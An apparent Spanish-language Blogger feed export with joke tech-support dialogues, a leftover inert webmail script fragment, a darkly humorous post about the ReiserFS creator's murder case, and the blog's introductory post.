/>Mujer: No funciona.<br />Ing. Sist.: ¿Qué hizo exactamente?<br />Mujer: Presionar la "F" 8 veces como me dijiste, pero no ocurre nada.<br /><br /></span><span style="font-size:100%;"><span style="font-weight: bold;">Caso 9</span><br />Geronte: Mi teclado no quiere funcionar.<br />Ing. Sist.: ¿Está seguro de que está conectado?<br />Geronte: No lo sé. No alcanzo la parte de atrás.<br />Ing. Sist.: Tome el teclado, y dé diez pasos hacia atrás.<br />Geronte: Ya está<br />Ing. Sist.: ¿El teclado sigue con usted?<br />Geronte: Sí<br />Ing. Sist.: Eso significa que el teclado no está conectado ¿Hay algún otro teclado?<br />Geronte: Sí, hay otro aquí. Uy,.... ¡éste sí funciona!<br /><br /></span><script><!-- D(["mb","Geronte: Sí, hay otro aquí. Uy,.... ¡éste sí funciona!\u003cbr /\>\u003cbr /\>Caso 10\u003cbr /\>Ing. Sist.: Tu password es \'a\' minúscula de andamio, V mayúscula de Víctor,\u003cbr /\>el número 7...\u003cbr /\>Mujer: ¿7 en mayúscula o minúscula?\u003cbr /\>\u003cbr /\>Caso 11\u003cbr /\>Mujer: No puedo conectarme a Internet, aparece error de clave.\u003cbr /\>Ing. Sist.: ¿Está segura de que esta utilizando el password correcto?\u003cbr /\>Mujer: Sí, estoy segura, vi a mi esposo escribirla.\u003cbr /\>Ing. Sist.: ¿Me puede decir cuál era el password?\u003cbr /\>Mujer: 5 asteriscos.\u003cbr /\>\u003cbr /\>Caso 12\u003cbr /\>Mujer: Tengo un grave problema. Un amigo me puso un protector de pantalla,\u003cbr /\>pero cada vez que muevo el mouse desaparece....\u003cbr /\>\u003c/div\>",1] ); D(["mb","\u003cdiv style\u003d\"direction:ltr\"\>\u003cspan class\u003dad\>\u003cbr /\>______________________________\u003cwbr /\>______________________________\u003cwbr /\>_____\u003cbr /\>Sé uno de los primeros a testar el Windows Live Messenger beta.\u003cbr /\>\u003ca onclick\u003d\"return top.js.OpenExtLink(window,event,this)\" href\u003d\"http://imagine-msn.com/minisites/messenger/default.aspx?locale\u003des-ar\" target\u003d_blank\>http://imagine-msn.com/minisit\u003cwbr /\>es/messenger/default.aspx\u003cwbr /\>?locale\u003des-ar\u003c/a\>\u003cbr /\>\u003cbr /\>\u003c/span\>\u003c/div\>",0] ); //--></script><span style="font-size:100%;"><span style="font-weight: bold;">Caso 10</span><br />Ing. Sist.: Tu password es 'a' minúscula de andamio, V mayúscula de Víctor, el número 7...<br />Mujer: ¿7 en mayúscula o minúscula?<br /><br /></span><span style="font-size:100%;"><span style="font-weight: bold;">Caso 11</span><br />Mujer: No puedo conectarme a Internet, aparece error de clave.<br />Ing. Sist.: ¿Está segura de que esta utilizando el password correcto?<br />Mujer: Sí, estoy segura, vi a mi esposo escribirla.<br />Ing. Sist.: ¿Me puede decir cuál era el password?<br />Mujer: 5 asteriscos.<br /><br /></span><span style="font-size:100%;"><span style="font-weight: bold;">Caso 12</span><br />Mujer: Tengo un grave problema. Un amigo me puso un protector de pantalla, pero cada vez que muevo el mouse desaparece...<br /></span><br /><br /><span style="font-size:85%;"><span style="font-style: italic;">(Gracias a Edgardo que me envió esta recopilación por e-mail.)</span></span>sir shamrockhttp://www.blogger.com/profile/04235283570077329739noreply@blogger.comtag:blogger.com,1999:blog-6476158860215322127.post-30590863554942087322007-04-26T21:24:00.001-03:002008-02-15T12:51:07.532-02:00Si diseñaste un sistema de archivos, podés tener perfil de asesinoA vos, pebete, a vos te quería hablar. A vos que te metiste en la informática. A vos que siempre te gustaron las cosas bien <span style="font-style: italic;">freak</span>. Sí. Resulta que estás cursando Sistemas Operativos y acabás de entregar el TP N°2 que es una versión mejorada del Kernel de Linux, pero implementado sólo con mensajes al estilo de Minix. Viene el JTP de la materia y publica en Internet la consigna para el próximo TP. Mientras abrís el PDF preguntándote si al final del cuatrimestre, con las horas que dejaste de dormir, vas a lograr tener más ojeras que Graciela Fernández Meijide, te aparece en pantalla el título del TP N°3: Diseño de un File System. "Uuuuh, loco..." decís. "Esto es lo que yo siempre quise hacer en mi ñoña vida." Enseguida empezás a limarla con la tabla de i-nodos, el manejo de bloques libres y ocupados y la atomicidad de las operaciones. ¡Apa, apa, apa! ¿Qué estamos haciendo? ¿¿¿Qué estamos haciendo??? En ese momento liberás tu instinto asesino al mejor estilo de estudiante surcoreano de Virginia Tech y empezás a querer matar a todos. <a style="font-weight: bold;" href="http://en.wikipedia.org/wiki/Hans_Reiser">Eso es lo que le pasó al diseñador del sistema de archivos ReiserFS, Hans Reiser, que está acusado de asesinar a su esposa y está actualmente arrestado y citado a juicio</a>. Así que ya sabés, pebete. Si te corre la adrenalina por las venas cada ves que ves un filesystem como NTFS, FAT, EXT2, EXT3. MINIX FS, ISO 9660 o Andrew FS, ya sabés:<br />Cuidate. Querete. Ojito. Ojete.<br /><br /><a href="http://youtube.com/results?search_type=search_videos&search_query=Irma+Jusid&search_sort=relevance&search_category=0&page=">Irma Jusid</a><span style="font-size:85%;"><br /></span>sir shamrockhttp://www.blogger.com/profile/04235283570077329739noreply@blogger.comtag:blogger.com,1999:blog-6476158860215322127.post-68592021351632844622006-12-01T13:43:00.000-03:002007-05-03T20:34:47.898-03:00Mi nuevo blog¡Hola! Este es el primer post de mi nuevo blog en Blogspot.<br />Mi idea es publicar aquí artículos de distintos temas:<br /><ul><li>Proyectos de software<br /></li><li>Artículos técnicos y para desarrolladores de software<br /></li><li>Vida académica en el ITBA (<a href="http://www.itba.edu.ar/">www.itba.edu.ar</a>)</li></ul>O sea que originalmente la idea es un blog de un perfil muy de IT/informática/sistemas, pero veremos en qué se va convirtiendo.sir shamrockhttp://www.blogger.com/profile/04235283570077329739noreply@blogger.com